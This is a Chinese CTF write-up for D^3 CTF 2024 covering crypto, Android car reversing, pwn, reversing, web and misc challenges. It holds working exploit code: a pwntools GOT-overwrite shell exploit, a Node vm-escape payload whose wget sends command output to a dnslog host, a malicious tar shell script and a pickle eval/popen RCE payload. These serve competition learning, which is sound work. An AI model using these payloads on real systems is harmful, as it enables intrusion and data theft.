    for v in vec:
        if abs(v)>1:
            return 0
    return 1
def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    from re import findall
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
M = flatter(M)
SS = []
T = []
R = []
for i in range(41):
    R.append(-M[i][-100]+sum(M[i][:-100]))
    T.append(M[i][:-100])
T = Matrix(ZZ,T)
R = vector(R)
T = T.T.stack(R)
# for i in range(n):
#     ttt = [ZZ(a[i,i])-1 for a in Alist]
#     print(ttt+[1])
#     str(Matrix(ZZ,ttt+[1])*T)
T = identity_matrix(141).augment(T)
for i in range(141,182):
    T.rescale_col(i,2^400)
T = T.BKZ(block_size=32)
for i in T:
    if j(i[:141]):
        if i[140]==-1:
            SS.append(-i[:140])
        else:
            SS.append(i[:140])
T = []
R = []
for i in range(41):
    R.append(0+sum(M[i][:-100]))
    T.append(M[i][:-100])
T = Matrix(ZZ,T)
R = vector(R)
T = T.T.stack(R)
# for i in range(n):
#     ttt = [ZZ(a[i,i])-1 for a in Alist]
#     print(ttt+[1])
#     str(Matrix(ZZ,ttt+[1])*T)
T = identity_matrix(141).augment(T)
for i in range(141,182):
    T.rescale_col(i,2^200)
T = T.BKZ(block_size=32)
for i in T:
    if j(i[:141]):
        if i[140]==-1:
            SS.append(-i[:140])
        else:
            SS.append(i[:140])
# SS = SS[:-1]
SS = Matrix(ZZ,SS)
ss = Matrix(ZZ,[1]*100)
flag = ss*SS
flag = [ZZ(i)+100 for i in flag[0]]
print(flag)
import hashlib
from Crypto.Cipher import AES
key = hashlib.sha256(str(flag).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
enc = b'\x83\x1a)LB\xa6\xfb\xacS\xfa\xd03Q\x83c\xcd\xe6K\xbeI\xfc\x90_\xde=`nM&z\xca\x81\xcf\xdd\xde\x0c\x1b\xf8[C\xdc%\x97\xb2\xa4\xb4\xf6T'
flag = aes.decrypt(enc)
print(flag)
# b'd3ctf{OrTh0g0n@L_L@Tt1Ce_iS_wOnDe2fU1}\n\n\n\n\n\n\n\n\n\n'

CAR

IOV-D3_car

题目环境太垃圾了,安卓环境一直断😅

其实很简单,一开始有点懵,想加个监看进去看看,日过车的都知道scrcpy是个好工具😋

https://github.com/Genymobile/scrcpy

D^3 CTF2024 WP

可是这个环境真的太卡了,上了scrcpy之后那是一点就断;背景这几个字我还以为要打开车载导航之类的,但是这个导航怎么点都点不开,还老是断服务;

所以还是接着命令行操作,先来看一下应用列表 哎 您猜怎么着?

一眼就看到了一个非常可疑的APP

package:com.d3car.factory
generic_x86_64:/ $ pm list packages
package:com.android.cts.priv.ctsshim
package:com.android.car.messenger
package:com.android.providers.telephony
package:com.google.android.car.kitchensink
package:com.android.providers.calendar
package:com.android.providers.media
package:com.android.wallpapercropper
package:com.android.car.media
package:com.android.car.radio
package:com.android.car.trust
package:com.android.documentsui
package:com.android.externalstorage
package:com.android.htmlviewer
package:com.android.companiondevicemanager
package:com.android.quicksearchbox
package:com.android.mms.service
package:com.android.providers.downloads
package:com.android.car.overview
package:android.car.cluster.loggingrenderer
package:com.android.defcontainer
package:com.android.car.mapsplaceholder
package:com.android.providers.downloads.ui
package:com.android.pacprocessor
package:com.android.certinstaller
package:com.android.carrierconfig
package:android
package:com.android.contacts
package:com.android.camera2
package:com.android.car.systemupdater
package:com.android.car
package:com.android.egg
package:com.android.mtp
package:com.android.nfc
package:com.android.backupconfirm
package:com.android.provision
package:com.android.statementservice
package:com.android.calendar
package:com.android.systemui.theme.dark
package:com.android.car.hvac
package:com.android.providers.settings
package:com.android.sharedstoragebackup
package:com.android.printspooler
package:com.android.dreams.basic
package:com.android.car.dialer
package:com.android.webview
package:com.android.inputdevices
package:com.android.support.car.lenspicker
package:com.android.bips
package:com.android.musicfx
package:com.android.cellbroadcastreceiver
package:android.ext.shared
package:com.android.onetimeinitializer
package:com.android.server.telecom
package:com.android.keychain
package:com.android.printservice.recommendation
package:com.android.gallery3d
package:android.ext.services
package:com.android.calllogbackup
package:com.android.packageinstaller
package:com.android.carrierdefaultapp
package:com.svox.pico
package:com.android.car.media.localmediaplayer
package:com.android.proxyhandler
package:com.android.inputmethod.latin
package:org.chromium.webview_shell
package:com.d3car.factory
package:android.car.usb.handler
package:com.android.managedprovisioning
package:com.android.dreams.phototable
package:com.android.smspush
package:android.car.cluster.sample
package:com.android.wallpaper.livepicker
package:com.android.storagemanager
package:jp.co.omronsoft.openwnn
package:com.android.bookmarkprovider
package:com.android.settings
package:com.android.calculator2
package:com.android.cts.ctsshim
package:com.android.vpndialogs
package:com.android.email
package:com.android.music
package:com.android.phone
package:com.android.shell
package:com.android.wallpaperbackup
package:com.android.providers.blockednumber
package:com.android.providers.userdictionary
package:com.android.emergency
package:com.android.location.fused
package:com.android.deskclock
package:com.android.systemui
package:com.android.bluetoothmidiservice
package:com.android.bluetooth
package:com.android.providers.contacts
package:com.android.captiveportallogin
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $ pm path com.d3car.factory
package:/system/priv-app/D3Factory/D3Factory.apk
generic_x86_64:/ $

PS G:\> adb pull /system/priv-app/D3Factory/D3Factory.apk
/system/priv-app/D3Factory/D3Factory.apk: 1 file pulled, 0 skipped. 0.1 MB/s (38128 bytes in 0.354s)

简单逆向就可以找到flag了)

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:gravity="center" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent">
  <TextView android:textSize="@dimen/common_textsize_24" android:id="@+id/flag1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="20dp" android:text="d3ctf{yes_you_f1nd_b4ckdo0r}"/>
  <Button android:id="@+id/tcpdump" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="open/close tcpdump"/>
</LinearLayout>

也可以用另一种方法,直接拉起应用的Activity

generic_x86_64:/ $ dumpsys package com.d3car.factory | grep -i activity
Activity Resolver Table:
        4d5331e com.d3car.factory/.FactoryActivity filter 1beb95a
        b8e17ff com.d3car.factory/.PwdAuthActivity filter ee66505
        b8e17ff com.d3car.factory/.PwdAuthActivity filter ee66505
      android.permission.USER_ACTIVITY: granted=true
      android.permission.MANAGE_ACTIVITY_STACKS: granted=true
      android.permission.USER_ACTIVITY: granted=true
      android.permission.MANAGE_ACTIVITY_STACKS: granted=true
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $ am start -n com.d3car.factory/.FactoryActivity
Starting: Intent { cmp=com.d3car.factory/.FactoryActivity }
generic_x86_64:/ $
generic_x86_64:/ $
generic_x86_64:/ $
D^3 CTF2024 WP

D3_car_flag2&flag3

PS G:\> adb pull /system/priv-app/D3Factory/oat/x86_64
D^3 CTF2024 WP

先这样再那样,把vdex还原成dex

package com.d3car.factory;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class PwdAuthActivity extends Activity {
    private Context mContext;
    private Button mEnterBtn;
    private TextView mKeyText;
    private EditText mPwdText;

    @Override // android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(2130837504);
        this.mPwdText = (EditText) findViewById(2131165185);
        this.mEnterBtn = (Button) findViewById(2131165186);
        this.mKeyText = (TextView) findViewById(2131165184);
        this.mContext = getApplicationContext();
        Log.d("D3CTF""onCreate: ");
        this.mEnterBtn.setOnClickListener(new View.OnClickListener() { // from class: com.d3car.factory.PwdAuthActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                PwdAuthActivity.this.verifyPWD(PwdAuthActivity.this.mPwdText.getText().toString(), PwdAuthActivity.this.mKeyText.getText().toString());
            }
        });
    }

    public void verifyPWD(String pwd, String key) {
        if (pwd.length() == 0) {
            Toast.makeText(this, getString(2131099707), 0).show();
        } else if (verifyPassWord(pwd, key)) {
            Log.d("D3CTF""verifyPWD: the password is right!");
            startActivity(new Intent(this, FactoryActivity.class));
        } else {
            Toast.makeText(this, getString(2131099706), 0).show();
        }
    }

    public static boolean verifyPassWord(String password, String key) {
        if (key == null || key.isEmpty()) {
            return "20240419".equals(password);
        }
        return "uVQPRRYTrpvqvCv6".equals(encryptPwdByKey(password, key));
    }

    public static String encryptPwdByKey(String pwd, String key) {
        char[] pwd_arr = pwd.toCharArray();
        char[] key_arr = key.toCharArray();
        char[] result = new char[pwd.length()];
        for (int i = 0; i < pwd.length(); i++) {
            result[i] = (char) (pwd_arr[i] ^ key_arr[i % pwd.length()]);
        }
        return new String(result);
    }
}

这里应该要逆向拿到密码)但是太卡了 我一输密码就断😭不确定过了密码之后会有什么)flag?

D^3 CTF2024 WP
package com.d3car.factory;

import android.app.Activity;
import android.os.Bundle;
import android.os.SystemProperties;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import java.io.IOException;

    private CheckBox mTcpDump;

    @Override // android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(2130837506);
        this.mTcpDump = (CheckBox) findViewById(2131165189);
        if (SystemProperties.getInt("sys.tcpdump"0) == 1) {
            this.mTcpDump.setChecked(true);
        } else {
            this.mTcpDump.setChecked(false);
        }
        this.mTcpDump.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { // from class: com.d3car.factory.TcpdumpActivity.1
            @Override // android.widget.CompoundButton.OnCheckedChangeListener
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                if (isChecked) {
                    SystemProperties.set("sys.tcpdump""1");
                    try {
                        Runtime.getRuntime().exec("/system/xbin/tcpdump -i any -s 0 -w /sdcard/tcpdumplog.pcap -W 1");
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                } else {
                    SystemProperties.set("sys.tcpdump""0");
                    try {
                        Runtime.getRuntime().exec("pkill tcpdump");
                    } catch (IOException e2) {
                        e2.printStackTrace();
                    }
                }
            }
        });
    }
}

这里可以看到整个app自带了tcpdump功能

D^3 CTF2024 WP

在adb直接使用tcpdump显示被ban了,用自带的APP去抓包;打钩开始取消暂停;这里抓的包是自动保存到sdcard目录里面的。

generic_x86_64:/ $ cd sdcard/
generic_x86_64:/sdcard $ ls -l
total 48
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Alarms
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 DCIM
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Download
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Movies
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Music
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Notifications
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Pictures
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Podcasts
drwxrwx--x 2 root sdcard_rw  4096 2024-04-28 13:43 Ringtones
-rw-rw---- 1 root sdcard_rw 12288 2024-04-28 13:47 tcpdumplog.pcap

PS G:\>  adb pull /sdcard/tcpdumplog.pcap
/sdcard/tcpdumplog.pcap: 1 file pulled, 0 skipped. 0.1 MB/s (27477 bytes in 0.406s)
D^3 CTF2024 WP

抓到MQTT服务的主题&账号&密码(断的太快了 没机会传扫描工具到IVI里面扫😭扫一下应该就能扫到其他ECU然后梭哈了

Client ID Length: 11
Client ID: Gojo_Satoru
User Name Length: 11
User Name: abmaM_kcalb
Password Length: 14
Password: Ya5_1_n4C_tahW

以及两条MQTT的报文

Topic: can/514/write
Message: 022701ffffffffff   #看到2701 血脉觉醒 是UDS服务
#这里包含了27服务的pincode

Topic: can/514/write
Message: 0527022dcf28ffff

猜测后续应该是要过掉27服务 然后进入QNX拿flag

D^3 CTF2024 WP

具体请看ISO14229之27服务

PWN

d3note

存在下标越界,能造成任意读,但是只能读地址以0x8结尾的内存单元,所以只要找到符合条件的且存放了指向一个libc地址的指针的地址,就能泄出libc,通过调试找到符合条件的内存0x4006b8

D^3 CTF2024 WP

然后能修改地址以0x0结尾的内存单元的低32位,修改free_gotsystem,free掉存放'/bin/sh\x00'的堆块getshell。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('', )

def menu(index):
    p.sendline(str(index))
    sleep(0.2)

def add(idx, size, content='a'):
    menu(276)
    p.sendline(str(idx))
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    p.sendline(content)
    sleep(0.1)

def delete(index):
    menu(6425)
    sleep(0.2)
    p.sendline(str(index))
    sleep(0.2)

def show(index):
    menu(1300)
    p.sendline(str(index))
    sleep(0.1)

show(-927)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
libc_base = leak - 0x7ceb0
system = libc_base + 0x4c990
system_low = system & 0xffffffff

add(032)
delete(0)
add(032'/bin/sh\x00')
add(-10, system_low)
delete(0)

p.interactive()

Reverse

RandomVM

直接进行调试我们在进行操作的地方都下个断点,然后等他跑,一直按f9就好,然后一路登记

[0] 0 ^= 0x31
----
[1] 0 ^= 0x31
[1] swap 3
[1] 0x26 ^= 3
[1] 0x25 ^= 0x32
----
[2] 0 = 0x32----119
[2] swap 0xff
[2] 0 ^= 0xff
[2] swap 0x1
----
[3] 0 ^= 0x1-----0x6f
[3] swap 0x1
[3] swap 6
[3] 0 ^= 0x33
----
[4] 0 ^=0x33----0x77
[4] swap 7
[4]  0x66 ^=7
[4]  0x61 ^=0x34
----
[5] = 0x34-----0x4a
[5] swap 4
[5]  0x43 ^= 4
[5]  0x47 ^=0x35
----
[6] = 0x35-------0x75
[6] swap 4
[6] 0x53 ^= 0x36
----
[7] 0 ^= 0x36------0x6d
[7] swap 7
[7] 0x6c ^= 7
[7] 0x6b ^= 0x37 
----
[8] 0 ^= 0x37-----0x70
[8] swap 7
[8] 0x6e ^=0x38
----
[9] 0 ^= 0x38------0x56
[9] swap 2
[9] 0x0e ^= 0x39
----
[10] 0 ^=0x39--------0x6d
[10] swap 4
[10] 0x39 ^=0x30
----
[11] 0 ^=0x30-------0x76
[11] swap 4
[11]  3 ^=0x71
----
[12] =0x71-------0x4d
[12] swap 7
[12] 0xe2 ^=7
owJumpVmvM

逻辑就这样(最后还进行了前后异或)

#include <stdio.h>
#include <stdint.h>
#include <stdio.h>
int main()
{
    unsigned char arr[] =
    {
        157, 107, 161, 2, 215, 237, 64, 246, 14, 174,
        132, 25
    };
    for (int i = 11; i > 0; i--)
    {
        arr[i] = arr[i] ^ arr[i - 1];
    }
    for (int i = 0; i < 12; i++) {
          printf("0x%x,", arr[i] & 0xff);
    }
    //0x9d, 0xf6, 0xca, 0xa3, 0xd5, 0x3a, 0xad, 0xb6, 0xf8, 0xa0, 0x2a, 0x9d
    return 0;
}

脚本之后我们用上述数据进行手搓

这里我们只能够拿到前10个位

还有两位我们开爆破

import subprocess
import itertools

def run_program(flag):
    command = "./RandomVM"
    print("Input:", flag)
    result = subprocess.run([command], input=flag, text=True, capture_output=True)
    print("Output:", result.stdout.strip())
    return result.stdout.strip()

def brute_force():
    visible_chars = "".join(chr(i) for i in range(32, 127))
    for combo in itertools.product(visible_chars, repeat=2):
        flag = ''.join(combo) + "owJumpVmvM"
        result = run_program(flag)
        if "Yes!" in result:
            with open("d3ctfflag.txt""w") as f:
                f.write(result.split("flag: ")[1])
            return
        else:
            print("No. Try again.")

def main():
    brute_force()

if name == "__main__":
    main()
D^3 CTF2024 WP

Web

stack_overflow

vm逃逸,不知道思路对不对

{"stdin":["b','d');let res = import('./app.js');var a = res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"wget `whoami`.kbqsag.ceye.io\").toString();('","3"]}

wget用dnslog能带出数据,但执行不了 /``readflag

后边没思路了

write溢出pie:

D^3 CTF2024 WP

read覆盖stack[42],执行call_interface,随便写个vm逃逸的rce即可,没截到图,懒得截了:

注意覆盖的pie+42即可

D^3 CTF2024 WP

moonbox

agent附件可控,看日志知道里面有sh脚本会直接执行,直接构造恶意sh脚本(例如包含cat /flag | base64即可),然后tar打包成agent.tar上传即可,在运行日志有回显

D^3 CTF2024 WP

运行日志有回显:

D^3 CTF2024 WP

base64解码得flag

D^3 CTF2024 WP

d3pythonhttp

首先是对于token的伪造

D^3 CTF2024 WP

可以看到解密的key是从kid路径中的文件获取的,这里猜测改路径将其设置为目录滞空,绕过检测,事实证明确实可以

D^3 CTF2024 WP

在backend路由处可以发现对TE进行了处理,个人理解这里的data=......是对chunked的具体实现

D^3 CTF2024 WP

我们看到在后端web.py对于data的处理代码

D^3 CTF2024 WP

这里并没有对TE进行处理,根据逻辑,不满足该条件将会使用CL进行处理,所以说如果我们大写CHUNKED那么就既可以利用前端的分片,又可以让后端使用CL处理,最终构造如下请求包

D^3 CTF2024 WP

我们传输的时候,由于数据经过处理,使用分片的方式进行传输,后端得到的结果即为分片传输的数据部分,由于前端请求的TE经过大写处理,后端的data部分并不会解析,所以后端会用CL方法解析,所以我们前端伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(即BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收倒,但是前端可以),这样一来就饶过了对于BackdoorPasswordOnlyForAdmin的检测,之后就实现了任意的pickle反序列化,经过测试环境是不出网的,首当其冲想到内存马注入,但python内存马是个什么玩意,搜了半天也没找到,但大致思路就是对路由进行处理,最终访问回显出我们的结果,由于后端是web.py的,和flask还不太一样,所以很多注入都失效了,最终查找函数的时候找到了add_processor,效果简单来说就是在访问路由后再执行这么一个东西,网上找一条eval代码执行的链子

import pickle
import base64


class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

修改对应的CL和data部分的长度,打过去,在backend位置访问即可得到flag

MISC

Baldur's Gate 3 Complete Spell List

去Baldur's Gate3的wiki把法术按等级扒下来

https://bg3.wiki/wiki/Category:Level_1_Spells

https://bg3.wiki/wiki/Category:Level_2_Spells

然后把flag_spells按照一个dict为一组分开,把咒语转成咒语等级

print("".join(list(map(lambda num:chr(int(num,9)), ' '.join([''.join(str(next(i for i, spells in enumerate(open('spells.txt''r').read().split('###')) if spell in spells.split('\n'))) for spell in spell_group.values()) for spell_group in eval(open('flag_spells.json''r').read())]).strip().split(' ')))))
END

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日12:27:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D^3 CTF2024 WPhttps://cn-sec.com/archives/2714593.html